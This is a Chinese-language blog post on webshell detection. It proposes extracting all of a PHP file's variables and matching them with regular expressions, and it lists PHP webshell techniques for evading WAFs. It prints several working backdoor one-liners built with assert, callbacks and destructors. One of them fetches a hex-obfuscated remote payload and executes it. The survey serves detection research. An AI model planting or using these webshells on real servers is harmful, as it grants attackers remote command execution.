前言
之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。
如有错误,还请指出,不胜感激! :turtle:拜
在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。
自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。
为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。
常见绕过WAF的PHP webshell
字符串变形
大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰
<?php $a = base64_decode("YXNzYXNz+00000____"); $a = substr_replace($a,"ert",3); $a($_POST['x']); ?> ucwords() ucfirst() trim() substr_replace() substr() strtr() strtoupper() strtolower() strtok() str_rot13() chr() gzcompress()、gzdeflate()、gzencode() gzuncompress()、gzinflate()、gzdecode() base64_encode() base64_decode() pack() unpack()
自写函数
利用 assert()
<?php function test($a){ $a($_POST['x']); } test(assert); ?>
回调函数
<?php call_user_func(assert,array($_POST[x])); ?> call_user_func_array() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive() forward_static_call_array()
类
利用魔术方法、析构函数 __destruct() , __construct()
<?php class test { public $a = ''; function __destruct(){ assert("$this->a"); } } $b = new test; $b->a = $_POST['x']; ?>
利用外部文件
利用 curl , fsockopen 等发起网络请求再结合 file_get_contents
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*", '687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>